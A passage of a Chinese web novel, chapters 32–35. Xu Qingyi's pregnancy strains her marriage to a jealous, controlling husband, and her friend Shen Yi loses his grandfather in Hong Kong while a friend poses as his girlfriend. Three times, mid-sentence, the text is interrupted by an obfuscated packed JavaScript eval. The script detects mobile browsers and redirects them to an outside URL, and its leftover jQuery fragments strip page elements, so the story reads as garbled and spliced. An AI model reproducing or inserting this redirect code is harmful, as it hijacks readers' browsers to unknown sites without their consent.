就像爱情里总会有人有遗憾。 “抱歉。”他说。 比如刘语潇,又比如他。 32. 岁岁安 徐清旖在1999年的4月确认怀孕,她站在医院的走廊里,看着面前的报告单,终于松了一口气。 李安对于这个喜讯十分开心,拉着她的手在沙发上坐下,“旖,我很开心。” 他的眼睛亮闪闪的,徐清旖也抿着唇笑。 她觉得自己一定已经做好准备,准备去迎接一个新生命。 做了父亲以后的李安果真比从前成熟了不少,他将这段时间蓄起的胡须干干净净地剃掉,又从衣柜的最底端翻出几套西服,每天都会穿一套出去找工作。 早晨首先会侧过身去吻徐清旖的额头,然后心情很好地做好早饭,再去叫她起床。 李安并没有把这件事告诉父亲与继母,只是打电话给远在爱尔兰的母亲的时候,随口提了一句。 对方激动得想要订最近的机票过来,李安却说不用了,徐清旖的妈妈会过来照顾。 自从结婚以后,沈翌和徐清旖几乎只寥寥通过几次电话,明明都在祖国的最南方,却根本没有见过面。 有时候想起来,她还会和李安感慨,李安却哂笑着说:“他是什么人?我们又是什么人?” 李安现在在一家公司做销售部的小职员,早出晚归,但始终会回家。 他们在伦敦办婚礼的前几天,父亲对于他没把人带回来见面就结婚的做法十分气愤,继母还在一边煽风点火,父子俩几乎是吵了有生以来最严重的一场架。 最后父亲气急败坏地上楼,将书房的门摔得震天响。 李安也不甘示弱,离开了那个所谓的家,再也没回去过。 即使是这两年,两个人最困难的时候,李安也没有说过回去服软。 吃饭时母亲忽然问起来沈翌。 徐清旖下意识看了一眼李安,对方并没有什么不对的神情,于是说:“应该没谈恋爱。” “也有29了吧,我想着什么时候给他张罗个对象。”母亲叹了口气。 “是吗?妈你觉得谁合适?”李安问。 “我有一个朋友的女儿,他们俩还认识。” 母亲看了一眼徐清旖,“说起来那姑娘还和他一个大学毕业的。” “记得。”徐清旖挑了一片西红柿在碗里,“沈翌他好像一直喜欢她。” “是吗?” 母亲很惊讶,又问她:“他可从来没给我说过呢,这孩子。” “嗯,高中的时候吧。” “沈先生可真专情。”李安在一边不痛不痒地说。 “那孩子什么都憋在心里,我问过他几次,都没告诉我。” “问过几次?什么时候?” 触及到沈翌的话题,李安说话一向如此,徐清旖便也没有太过在意,只是问自己的母亲:“问他这些干什么?” “怎么能不问啊,我和你爸爸当初……” 话说到一半,她忽然顿住,看了一眼李安,反应过来,“我和你爸爸当初,可是把他当作是你的哥哥,怎么能不关心?” 徐清旖大概也知道母亲说错了话,她看见李安面无表情地吃完碗里的最后一口饭,“妈,我吃饱先回房间了。” 等他走后,母亲皱着眉毛说:“清旖啊,我是不是说错话了?我刚刚一时没注意……” 徐清旖握住她的手,笑着摇摇头,“没事的,他不会多想的。” 晚上睡觉的时候,李安一声不吭。 等了一会儿,发现徐清旖没有来安慰他,于是翻了个身偷偷看。 “在看什么?”她笑着问。 被当场拆穿,李安羞赧地转过头,闷闷地开口:“没看什么。” “哦……”徐清旖的尾音拉得很长,“没生气的话那就睡觉吧。” 说完她就坐起来,想要关掉灯。 “不是……”李安忽然拦住她的手,“谁说我没生气。” 徐清旖轻笑出声,收回手往被子里缩了缩,靠在他的肩上,“那你告诉我,你在气什么?” 李安不说话,她继续说:“你在生气沈翌对不对?” “他喜欢你。”李安的声音顿了顿,“他看你的眼神就是在说喜欢你。” “那是因为我们关系很好,我和他认识很多年了,所以很亲近。” “旖!你不知道!”他很生气地说:“我是一个男人,我当然看得出来他喜欢谁,你太笨了,看不明白。” “好,那你说。我该怎么做?” “你们别再联系了好不好?”李安捏她的手指。 “我们本来也没有联系了啊。” “不行,你答应我。”李安说:“我因为你放弃了我的家庭,我只有你了。” 徐清旖想起来李安和英国的家那些糟糕的关系,“好,我答应你,不联系了。” - 他们之间仿佛又回到了最开始的那种关系,沈翌根本联系不上徐清旖。 香港的发展日新月异,普天同庆的1997年似乎已经过去了很久。 那时候的他在遥远的欧洲,望着窗外的夜色沉沉,根本无从知道前路在哪里。 与徐清旖没有联系的这两年里,沈翌迷上了竞速摩托。 在空旷的赛车场里,戴着头盔肆意驰骋,耳边只有猎猎的风声和可以让他的心静下来的发动机的声音的时候,才会心满意足地感觉世界上只剩下他一个人。 也会有人给他介绍女友,或是年轻的女孩害羞地递上自己的联系方式,他只会摇着头拒绝。 关系好的朋友都劝他不要死脑筋,沈翌舔舔唇,其实不是放不下,只是习惯了一个人。 他从伦敦调回香港的第三个月,将这边的一切安顿好之后,回了一趟南城把爷爷接过来一起住。 爷爷年岁已高,一个人待在家里他根本无法安心。 沈爷爷知道他心里的想法,加之这些年和自己的孙子确实很少见面,于是跟着他一起去了香港。 为了照顾他,沈翌白天找了保姆负责爷爷的生活,等到自己晚上回家,所有的事情都要亲力亲为。 今年五月初,爷爷忽然病发进入医院。病房里的白炽灯很亮,衬得沈爷爷的皮肤更加苍白。 他戴着透明的氧气面罩,微微皱着眉毛昏睡,很痛苦的样子。 医生过来叫沈翌去办公室,于是这里只剩下临时请来的护工帮忙照看。 在办公室里,经验丰富的中年医生指着CT照 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16389907|184237||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 对他说:“情况并不乐观。” 沈翌恍惚着回到病房,爷爷已经转醒,依旧是那副笑眯眯的样子向他招手,“小翌,你坐过来。” 等到只剩下他们两个人,爷爷问他:“我是不是时间不多了?” 他张了张嘴,紧了紧被握住的手,眼泪从脸颊上落下来,一滴掉在白色的床单上。 “您别乱说,医生告诉我,您的身体很好,可以活到一百岁。” “哎,你这孩子。” 爷爷还在笑,说话间呼出的白气覆在氧气面罩的内侧,模糊了一片,“我从小就教导你,人要说真话,你怎么还骗人呢?” “爷爷……” 他埋着头终于忍不住哭出声,只有在爷爷面前的时候,沈翌才不用努力做大人,他可以永远是小孩。 “傻孩子。” 沈爷爷的眼睛也亮晶晶的,他的儿媳在生下沈翌那年难产去世,唯一的儿子也在之后的几年间不幸罹难。 他和年幼的孙子相依为命,这些年他总是觉得自己对不起孩子,小翌懂事得早,人又聪明,不过他年纪大了,也赚不到钱。 沈翌高考的那一年,那个学校的教导主任来家里找他。 他大腹便便,单薄的老人却一点也不害怕。 藏在镜片之后精明的眼睛打量了一圈他们的房子,掐着嗓子道:“沈翌这孩子成绩好,即使是自己去考试,也能考上,没必要非要这个名额。” 他希望自己开口劝劝,把保送的名额让给那个所谓的局长的孩子。 爷爷只听他说了这一句话,回头找了扫帚就要赶人出去。 他根本不可能劝,这些都是沈翌自己努力争取来的。 将人气得匆匆离开,爷爷回家后坐在床上,又气自己没用。 他手里没钱,还存着小翌读大学的费用。但也想做点什么,于是偷偷瞒着去市场上买了许多肉和鸡蛋去找校长。 本来以为这样可以有些改变的,可结果却依旧是那样。 教导主任说的名额下来的那一天,沈翌回来得很晚。 他在家里做了一大桌子菜等了他好久,回来时沈翌站在门口,眼睛甚至还没有消肿就已经开口道歉。 他说:“对不起,爷爷,我回来晚了。” 小翌从来不会和他讲烦心事,即使是一个人红着眼眶回家,坐在餐桌上很委屈地吃鱼的时候,也还会抬起脑袋挤出笑容。 “爷爷,这是世界上最好吃的鱼吧。” 沈爷爷想起来这些往事,用手一遍一遍地抚摸沈翌的后脑勺,已经沙哑的嗓子发出声音。 “你从小就懂事,靠着自己一步步走到今天,是爷爷对不起你。” 沈翌握住他的手,抿了抿唇,想说话,最后只能说:“没有。” “小翌,你还记得奶奶吗?” 手边的脑袋摇了摇,没有发出声音。 “可惜她还没见过你就走了,她是我见过最好的女孩子。” 他已经八十多岁,谈及自己的妻子,眼泪顺着眼角流至耳边。 “如果她还在就好了。” “如果她还在的话,这个世界上就会更多一个人爱你了。” 33. 风雨至 沈翌几乎住在了医院,他在爷爷的病房搭了一张办公桌画工图。 单人病房的环境很好,夜晚他就睡在陪护床上,或者偶尔也在旁边的软沙发上休息。 爷爷的情况好似在好转,现在已经能取下面罩,偶尔沈翌还能用轮椅推着他去楼下的花园散步。 医生来查房时会笑着对老人家说恢复得不错,继续保持这种心态。 然后又单独将沈翌叫出去,让他做好心理准备,差不多就在这几个月。 沈翌的眼睛熬得通红,难以置信地问:“为什么?您不是说他最近精神很好吗?” 医生扶了扶眼镜,还是不忍心地告诉他:“老人年纪大了,他的心脏比我们正常人大一圈……” “他的身体已经不堪重负,所以……” 沈翌泄力一般地靠着墙慢慢蹲了下去,医生看着他的样子,顿了顿,“沈先生,趁着最后这段日子,好好陪陪他吧。” 仿佛是为了证明医生的话一般,沈爷爷在第二天的夜里呼吸微弱,心跳频率变得很慢。 等到值班的医生和护士赶来的时候,在凌晨三点将沈爷爷又推进了手术室。 沈翌一个人坐在手术室门口的凳子上,他双手颤抖,几乎无法说出一句完整的话。 过了近两个小时,医生说沈爷爷目前的情况已经稳定下来,然后看着沈翌欲言又止。 “您说吧,我能承受。”他坐在凳子上,衣服已经变得很皱。 医生说:“病情恶化了,您有时间的话,好好道个别,尽快吧。” 沈翌沉默着点头,眼泪掉下来落在地板上。 - 第二天,沈翌去楼下给徐老师打电话,他将爷爷的病情告诉对方,然后说了几个邻居的名字。 “徐老师,麻烦您告诉他们一声,如果可以的话,能不能过来一趟?机票和酒店钱都由我来出,只是希望能够尽快。” 他的声音很哑,徐老师静了一会儿。 “小沈,我马上就去告诉他们,我先给清旖打电话,她和你师母在黎江,距离香港很近,你一个人我也不放心啊。” 结束了电话,沈翌回到病房,爷爷还在沉沉睡着。 他最近总是心绞痛,疼起来就蜷缩在病床上。 本来就瘦的老人紧紧缩着,沈翌每一次看见都忍不住落泪。 护士又来给爷爷换药,动静惊醒了他,已经浑浊的眼睛费力地睁开,沈翌走过去问还要输多久。 护士也叹气,“不能停,要一直输液。” 她正在沈爷爷的手上仔细辨别着血管,仿佛在找一片相对完整的肌肤,最后抬起头对沈翌说:“我看看脚。” 针管是从脚部的血管刺进去的,那里的皮肤似乎更薄,针尖没进皮肤的那一刻,爷爷痛苦地皱了皱眉。 沈翌用手捂住他的眼睛,不断地说:”忍一忍,忍一忍就好了……” 徐清旖和母亲当晚就赶了过来,她们告诉沈翌,南城没有直飞香港的航班,徐老师他们明天一早的机票到黎江,下午应该就可以过来。 沈翌点点头,他最近实在是太疲惫,但根本不敢睡,只把与爷爷的每一面都当成是最后一面。 沈爷爷看见她们过来很开心,听说徐清旖已经怀孕后,又责备沈翌让人奔波,然后问孩子几个月了。 “三个月。”她说:“基本上已经稳定了,而且有妈妈照顾我,没事的。您快点好起来,他还能叫您一声。” “三个月?三个月好啊。”沈爷爷笑眯眯的,他看着徐清旖的肚子,忽然难过道:“可惜我看不到我们小翌结婚了。” “我谈恋爱了。”沈翌坐在沙发上,他将同事和朋友们送来的果篮都放在一边,“挺久了。” “谈恋爱了?”沈爷爷问:“那你怎么不带回来给我见见?” 徐清旖和师母也看向他,仿佛是在分辨他说的话的真伪。 “真谈了,不过她在国外,正赶回来呢。” “谈恋爱好,让她来了就和我见一面,好啊,好啊……”爷爷的声音变得很小,沈翌快步过去看向他,只见老人摆摆手,声音嘶哑地说:“有点累,我睡会儿。” 沈翌不放心地看了一眼床边仪器上显示的数据,确认没事以后才替他掖好被角。 和徐清旖和师母一起走到外面的走廊上,师母问沈翌是否真的谈了恋爱。 沈翌摇摇头,“爷爷最放心不下的人就是我。” “那要怎么办?如果要见面的话。”徐清旖问。 “等明天吧,等徐老师他们看过爷爷之后,明晚我找一个同事来一趟。”沈翌曲着手,手肘抵在栏杆上,回过头问她们:“你们吃饭了吗?来得太急了。” “吃过了。”师母说:“小沈啊,你也别担心,你爷爷他一定会平安的。” 他点点头,哑着嗓子,“谢谢师母,现在是在黎江照顾清旖吗?” “是啊,他们都没经验,我又没什么事,就来照看一下。” 沈翌问徐清旖:“怀孕怎么没告诉我?” 徐清旖张了张口,最后说:“忘了……抱歉。” “没事,孩子出生的时候,还是告诉我一声吧。”沈翌垂着眼,“毕竟,还是要叫我一声叔叔的。” 最后师母将沈翌赶回了家,她让沈翌回去好好睡一觉,说这边只留她一个人照看就行了。 徐清旖是孕妇,晚上也回了酒店休息。 沈翌刚回家不久,孟晨的电话就打了过来。 “我来汾州出差,顺路准备去香港看一眼你,他们说你请假了?” “嗯。”沈翌揉了揉太阳穴,“爷爷他住院了。” “严重吗?”孟晨知道沈翌家中只有他和爷爷,于是提出要来香港看一眼。 第二天沈翌在医院停车场接到孟晨,还有刘语潇。 孟晨结婚那一年,按照约定给刘语潇寄了喜帖。 虽然最后她没有来,但两个人因此找回了联系方式。 “给你打电话的时候正在和她吃饭。”孟晨说。 刘语潇没说话,她的长发散在肩上,看起来却和当年完全不一样。 沈翌没说什么,“爷爷他今天的情况还不错。” 他领着两人往楼上走,准备按电梯的瞬间抿了抿唇,收回手又忍不住对刘语潇说:“语潇,可以请你帮我一个忙吗?” 昨天看见爷爷羡慕又可惜的神色,沈翌几乎是脱口而出自己已经谈了恋爱这个谎话。 现在却发现自己难以找到一个人来扮演自己的女友。 他好友圈中的相熟几乎都是男性,最初想到的是自己那位女秘书,不过对方已经有了家庭。 三人往电梯口走,沈翌习惯性地摸烟,刚拿出一支却不知想到了什么,又重新放了回去。 孟晨看得直皱眉,却什么也没说。 “我爷爷他,一直想看着我谈恋爱。”他说:“昨天我一着急就骗了他,但是到现在还没想明白该怎么办。” 刘语潇并不知道沈翌吸烟,有些惊讶,但想想他最近经历的这些事又觉得不足为奇。 “你想让我假装你女朋友?” “嗯,抱歉,如果不方便的话……” “你又没做什么对不起我的事,不用总是向我道歉。”刘语潇看了一眼孟晨,“如果这样可以让爷爷好受一点的话,也没有什么的。” “我熟识,但是他不认识的女性不多。”沈翌看了眼孟晨直勾勾盯着自己的视线,忍不住笑了笑把手里的烟盒递过去,“来一根?” “别,戒了,你嫂子不让我抽。” 孟晨说着还是把烟接了过来揣进自己的兜里。 “可以,我答应你。” 听见他们的对话,刘语潇忽然想起来三个人一起在旧金山的日子。 年轻气盛,每个人都阳光又明朗。 - 沈爷爷侧躺在床上,病痛让他无法仰卧,在看见刘语潇的时候眼睛亮了亮,叫她闺女。 她穿着最简洁的裙子和白色运动鞋,抱着一束漂亮的鲜花,软软地叫“爷爷”。 徐清旖再次见刘语潇,对方比从前成熟了许多。 沈爷爷拉着她的手嘘寒问暖,一边询问,一边试探。 仿佛是在确认眼前这人是自己的孙媳妇,还是沈翌找来糊弄他的人。 但是刘语潇对于他的问题几乎是对答如流,沈爷爷终于满意,问他们是什么时候在一起的。 刘语潇说:“九四年的最后一天,我们在美国跨年,我说我喜欢他。” 徐清旖正在削苹果的手顿了顿,听见沈爷爷问沈翌:“人家先说的?” 沈翌无奈,点着头说:“对。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16389908|184237||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “没出息。”爷爷看了一眼沈翌。 孟晨适时地踩他一句,“就是,没出息。” 沈爷爷这才注意到孟晨,沈翌向他介绍,“这是我去了美国之后的朋友,这些年我们一直都在一个公司。” “爷爷您好,我刚好在汾州出差,就过来看看您。” 孟晨站在床尾,腿边堆着他和刘语潇买来的补品,“当初我和沈翌在美国、英国,都是一起的。” 沈爷爷眼睛都笑弯了,他本就心疼沈翌一个人在异国,这孩子从小到大又都是苦和悲都只往肚子里咽。 连忙道:“这些年辛苦你照顾我们小翌了。” “不辛苦,都是他照顾我。” “对啊,开会都是我帮他的。”沈翌补充道。 “你这……” 孟晨想反驳,看见他笑盈盈的样子无可奈何,和爷爷打小报告:“当初在英国他坑了我很多次,出远门的会议大部分都是我开的。” 沈翌笑了笑也不解释,沈爷爷装作严肃的样子,“好,以后都让他去帮你开会。那你现在也在香港?” “我在辛来。”孟晨说:“当年回国的时候香港可是大热门,轮不到我。” 沈爷爷点点头,“辛来也不错啊,沿海。语潇现在在哪儿?” “我在黎江。” 刘语潇握着沈爷爷的手坐在病床边,沈翌站在她身侧,徐清旖在更后面的位置。 “那你和清旖在一个城市啊?”沈爷爷问。 “嗯。”徐清旖回答道:“我们以前也还碰到过。” 孟晨甚至连头都没有回,听见沈爷爷继续问:“那语潇和小翌是怎么认识的?” “爷爷。”刘语潇甜甜地叫他,“有一年我爸爸还去南城看过您呢,您忘记啦?” “你父亲……”沈爷爷微微皱着眉,而后才想起来那件事,恍然大悟,“原来他是你父亲啊?那你们那一年就在一起了?” 沈翌和刘语潇还没来得及开口,孟晨就笑着说:“小年轻前两年分分合合的,也就不敢带到您面前来,现在不是来了吗?” 孟晨和刘语潇哄着沈爷爷讲了好多他们在国外的故事,沈翌插不进去嘴,无奈地交代两句就要去找主治医生问后续情况。 “闺女啊,我可能看不到你和我们小翌结婚了。”沈爷爷看着沈翌离开,很艰难地侧了侧身,孟晨来扶他,他继续说:“我啊,这辈子最担心的人就是他。临了了看到他有你们这些朋友,我才真的放心了。” “爷爷,您别这样……您一定会长命百岁的。” 孟晨也安慰道:“是啊,沈翌这才刚从国外回来,你们都还没团聚多久,怎么会离开呢?” 沈爷爷吃力地摆了摆手,“小翌以后就拜托你们照顾了。” 和徐老师一起过来的是在南城与沈爷爷交好的几位邻居,他们在听说了病情以后,第一时间就赶了过来。 由于徐老师提前就交代清楚,所以没有人在这里哭泣,仿佛都在竭尽全力给予他力量。 沈爷爷很开心与老朋友们重逢,一个劲地说谁在哪一局象棋里悔了棋,谁又在买菜的时候借了几毛钱零钱没给他还回来。 往日冷清的病房,终于慢慢变得热闹。 - 沈爷爷去世的前一夜,香港迎来了一场猛烈的降雨。 彼时正值五月底,大风吹着雨滴不停地往窗户上砸,老人的眼神已经不够清明,斜着头任由眼泪往下流。 有的人忍不住情绪,低声抽噎着离开病房。 沈翌跪在爷爷的床前,他的背挺得笔直,像是在等待一场无声的宣判。 等到紧握的手完全卸去了力气,他沉默了十多秒,然后郑重又坚定地磕了三个头。 看见他动作的亲朋们终于忍不住哭起来,一种细碎的、压抑的、让人喘不过气的厚重的悲伤在病房里迅速蔓延开来。 徐老师走到沈翌的旁边半蹲下身子,沈翌任由他抱住自己,脑海中机械地重复着耳朵听到的内容。 “要坚强。要坚强。” 他们都在说要坚强。 徐清旖咬着下唇看向窗外,她的头微微上扬,想要阻止即将夺目而出的眼泪。 如果小时候听沈爷爷讲的故事是真的的话,那么现在他一定已经成为了天上的一颗星星,在某一处闪着光继续看着他爱的人。 34. 天上星 年近九十的老人,最后回到自己的家乡时,只剩下盒子里一抔细细的土。 当初去看他的人几乎都参与了这一次葬礼,沈翌眼神空洞地望着墓碑一言不发。 他想起来很小的时候父亲去世,那个年纪的他根本还不懂死亡意味着什么,只知道这个家庭又要少一个人了。 但当初有爷爷陪着他,现在真的只剩下他一个人了。 结束以后,刘语潇陪着他回到老房子里收拾东西。 沈翌不打算将这里卖出去,在房间的每一个位置都认真地铺上了一层白色的布,临走前回头看了一眼这里。 爷爷好像还站在那里和他说再见。 可是这一次离开,就真的是永别了。 - 沈翌请的丧假即将到期,他必须马上返回香港,在黎江市匆匆告别过徐清旖、师母和刘语潇以后,他又回到了公司。 家里爷爷的遗物沈翌还没有来得及收拾,他现在根本不愿意踏进那个地方。 他日日睡在办公室,仿佛把这里当作了自己的第二个家。 七月份孟晨到香港出差,和沈翌约在半山腰的饭店见面。 这时候沈翌已经瘦了七斤,脸部的线条更加锋利,孟晨说他像是港片里的大哥,还开玩笑问他到底是不是电影里的原型。 沈翌笑了笑让他别乱讲,熟练地用粤语点完餐以后,又听见对面开始心疼他。 “当年你出车祸,在伦敦医院里我说你不人不鬼,一定是因为那时候的我没见过现在的你。” “不是找我谈正事?” 沈翌抿了一口茶,毫不留情地拆穿他:“不去会议室,非要让我请客,就是来嘲讽我的?” “大哥,我给你的东西可比这顿饭贵好吧。” 孟晨朝他翻了个白眼,从公文包里拿出一张纸一样的东西递给他,“看看。” 沈翌接过来,是张国荣八月初在香港的见面会门票,VIP的位置,最前排,的确很宝贵。 “这动作我会以为你给我的是支票。” “哎,你不要还给我。”孟晨道:“我还找不着人陪我看了?” “谢了孟哥。” 沈翌收回手,“还要吃什么,我再给你叫菜单?” 孟晨抿抿唇,那副表情仿佛对于沈翌收了票才让他点餐这件事非常不屑,过了会儿才说:“你自己也要好好活。” “更何况,还有我们呢。” 很小的时候,有一次小沈翌睡醒从卧室出来,家里来了一个陌生的阿姨。 她和父亲坐在沙发上聊天,爷爷在厨房做饭。 看见沈翌时,她很亲切地叫他“小翌”。 当时他的年纪小,看见陌生人会本能地抗拒和害怕。 父亲斥责他不懂事,于是爷爷从厨房里跑出来把他抱回了卧室。 他将小沈翌放在床边,问他:“小翌不想要妈妈吗?” 小沈翌摇摇头,复又点头,然后他问爷爷:“我自己的妈妈呢?” 爷爷摸摸他的头,十分心疼地说:“妈妈去了很远的地方。” “很远的地方是哪里?” “天上。”他说:“当天暗下来的时候,你抬头看到的星星,其中一颗就是她在看着你。” 后来沈翌长大学习物理,他知道人死后肉身腐化,意识也会随之消失。 “孟晨,你说人死后真的会变成星星吗?” 沈翌说:“我原来是不信的,但是有一回我看见一篇论文。” “作者说,根据热力学第一定律来解,宇宙中的能量是守恒的。所以人去世很多很多年后,的确是有可能到星星上去的。” 孟晨不知道该说些什么,沈翌却笑了笑。 “所以说,不用担心我,我已经想明白了。你还是想想这顿饭怎么吃能让我多给点钱吧。” - 张国荣的见面会在香港某体育馆举行。 他无疑是这个时代中国香港最火的明星之一,或者说他本身就是一个时代。 孟晨扯着嗓子哭得撕心裂肺,泪流满面和沈翌控诉。 “你知道吗?刚去美国那年,白思园那小子有随身听,他不借给我听。” “知道。” 沈翌点点头,他听见身边的男孩女孩,一声又一声,声嘶力竭地喊着“哥哥”。 “太过分了,我对他那么好,还给他打饭,他抠死了。” 沈翌失笑,侧过头说:“我告诉他。” “啊?”孟晨没听清。 沈翌喊出声来,“我说,下一次见面我一定告诉他!” 后来,台上的人唱了一首名叫《春夏秋冬》的歌曲。 沈翌无数次地听过这首歌,那些已经逝去的岁月,那些隐秘的心事,都在顷刻间击中了他的心脏。 他的一生好像都在经历离别。 出生时与母亲告别,四岁时与父亲告别,二十一岁远离故土,在外漂泊了近八年的时光,却在回家后的第二年与唯一的亲人告别。 正如歌词里所唱的“秋天该很好,你若尚在场。” 他一生中所见到的所有良辰美景好时光,都在刚刚拥有的时候就失去了想要分享的人。 - 九月份刚来,徐老师患了病毒性的重感冒。 母亲不得不回家几天,徐清旖将她送离火车站之后,沿着宽阔的马路步行回家。 孩子已经有七个月,本来是一件很辛苦的事情,但初为人母的喜悦让她感受到幸福更大于劳累。 她坐在桌子前想给李安打电话,却又害怕他被领导责罚,思来想去还是自己去楼下点餐。 母亲勒令她孕期内不要进厨房,于是她忍耐住想要尝试的冲动,在家门口的中餐店里点了几个菜,都是李安和她最爱吃的。 结果等了很久他都没有回来。 其实最近他的作息变得很奇怪,每天回来的时候都带着满身的酒气,倒在床上抱着她想要亲热。 最后都被徐清旖以“宝宝不能闻到酒味”为理由赶去洗漱。 李安有时心情很好,听见她的话,还会笑嘻嘻地拥抱她,然后轻轻拍她的肚子说:“宝宝,要叫爸爸哦~” 但有时他会变得非常不耐烦,语气也会很冲,说“孩子就不能娇生惯养”。 最后是以徐清旖拿着枕头去母亲的房间睡觉作为这场闹剧的结尾。 今天送他回来的是李安的一位同事,他叫她莉莉安。 徐清旖见过她几次,以前给李安送过文件,是和他在一个工位上的英国人。 “姐姐,他喝醉了。”莉莉安的中文说得并没有李安好,听起来还是非常蹩脚。 “旖……” 李安几乎整个人都靠在徐清旖的身上,她本身就是孕妇,根本承受不了一个成年男性的重量。 只能微微倚靠着门框,干脆对莉莉安说英语,“抱歉,可以麻烦你帮我一起把他扶进去吗?我不太方便。” “可以。”莉莉安爽快地说。 两个女人一起将李安扶至卧室的床上,走之前莉莉安 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16389909|184237||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看了一眼床头的合照,问她:“这是你们刚在一起的时候吗?” 徐清旖在客厅给她倒水,闻言瞥了一眼卧室。 “那是我们婚礼之前,在伦敦,当时去看教堂。” 莉莉安坐在餐桌前,她端着杯子。 “那个教堂很有名的,你们是在那里办的婚礼吗?” 徐清旖笑了笑,坐在她对面和她聊天。 “我不清楚,但是当时他好像确实费了很大功夫。” “好羡慕你啊,我小时候最大的梦想就是在伦敦的大教堂里成亲。”她说:“是成亲吗?我有点搞不清楚。” “那是以前的说法,你可以说结婚。” 徐清旖拿了自己的保温杯喝了一口水,“会有机会的,你还年轻。” 莉莉安的头发是外国人普遍的金黄色,她的皮肤比较暗,穿着明黄色的短裙,看起来活力十足。 她又喝了一口水,“时间太晚了,我就先走了,麻烦你了。” 徐清旖对她摇摇头,“是我麻烦你,注意安全。” 等到将客人送走,徐清旖来到卧室给李安脱外套。 解领带时李安醉醺醺地睁开眼,看清面前的人,他咧开嘴笑着说:“旖,你怎么来了?” “给你收拾烂摊子。” 徐清旖和醉鬼聊天:“怎么今天喝这么多?” “他们都想喝……” 他闭着眼睛拉过她的手轻轻蹭,“对不起啊,宝宝又闻到酒味了……” 徐清旖还来不及说话,李安忽然将她推开,坐在床上睁着眼睛四处看,嘴里不断念着,“宝宝呢?我的宝宝呢?” “李安。” 她叹了一口气,重新从床头拿回那张用热水浸过的毛巾,按在对方的颈侧轻轻擦拭,“你醉了,我们乖乖睡觉好不好?” 李安这才又看向她,下一秒,他伸出手将人紧紧抱住。 他的头轻轻靠在徐清旖已经隆起的腹部,像个争宠的小孩一样。 “旖,你不能离开我……为了你我已经没有家了,你不要离开我……” “我没有要离开你。”她说:“这里就是你的家,不是吗?” “不是。” 李安一副恶狠狠的表情,“你喜欢那个男人,他还想要把你抢走,如果他叫你,你就会跟着他走。” 反应过来他话中说的那个人是沈翌,徐清旖皱着眉。 “你不要乱讲话,我和他只是朋友。” 李安抬头看向她,眼神冰冷地问:“你为什么要袒护他?” “我没有……” 徐清旖无奈地将毛巾放在一边,意识到自己和醉鬼讲道理的举动是多么愚蠢,“只有你,从来都只有你,好不好。” “你骗我,你很喜欢他,你是因为爱不到他才和我在一起的。”李安说:“旖,每一次叫你的名字我都会想起他,真恶心。” “李安!” 徐清旖很生气,她把李安当作是自己的丈夫、家人,但不代表她可以忍受他对于自己朋友的侮辱。 “我再说最后一次,只是朋友。” 似乎是察觉到了对方的怒火,李安又变回了那副小孩子的样子,他躺在床上缩了缩脖子,往被子的更深处窝了窝。 他向来敏感,自从结婚之后,为了照顾他的感受,徐清旖几乎和沈翌断了联系。 李安慢慢开始努力工作,她自己也靠着给报社翻译一些外语作品赚钱,日子终于逐渐变得好过起来。 谁也不想打乱这份平静。 35. 新时代 孩子出生在2000年的第一天夜里,是一个很可爱的男孩。 沈翌连夜从香港驱车赶来,上半年他全款买了一辆越野。 签字的时候,他忽然想起来这些年的经历,发觉自己好像对悍马才是真正的情根深种。 和当年不一样,他的气质已经完全撑得起这类车。 点根烟穿着风衣靠在车边,像是从时尚报刊中走出来的人物。 有开豪车的女人从停车场出去,看见他的样子,对着沈翌扬扬头吹口哨。 等到他一包烟几乎到头,距离自己接到师母的电话已经过去了好多个小时。 他按下电梯的按钮,提着一篮水果,眉眼疲惫地到达指定的楼层。 沈翌眯了眯眼,抬头看见最顶层的透明玻璃,才惊觉天已经亮了。 他将染了烟味的外套脱下来放在门口的长凳上,然后才推开门走了进去。 病房里没有别人,徐清旖已经闭着眼睡着了,她的头发乌黑,随意贴在苍白的侧脸上,像是一碰就碎的瓷娃娃。 他们已经很久没见面了,沈翌伸了伸手想要碰一碰她的脸颊,却在最后只有几厘米的时候收了回来。 好久没见了。 他听见心里有声音这样对自己说。 “小沈?你过来了?” 师母没想到他会这时候过来,招着手让他去那边的沙发处坐。 “你怎么这么早就赶过来了?她爸爸还要下午到呢。” “离得近,睡醒就过来了。” 沈翌笑了笑,看了一下四周,然后问:“李安呢?” 师母顿了顿,若无其事地说:“他啊,说是今天公司有个合作案谈,自己先回去了。” 沈翌皱着眉,“您一个人在这里照顾清旖吗?” “这不是她爸爸下午就过来了吗?” 师母从床头的篮子里拿了一个苹果准备削,“李安他最近不知道在忙什么,我没怎么瞧见过他。” 她的语气里颇有不满,沈翌似乎还想问,就听见身后病床上传来一声虚弱的“妈……” “沈翌?你来了。” 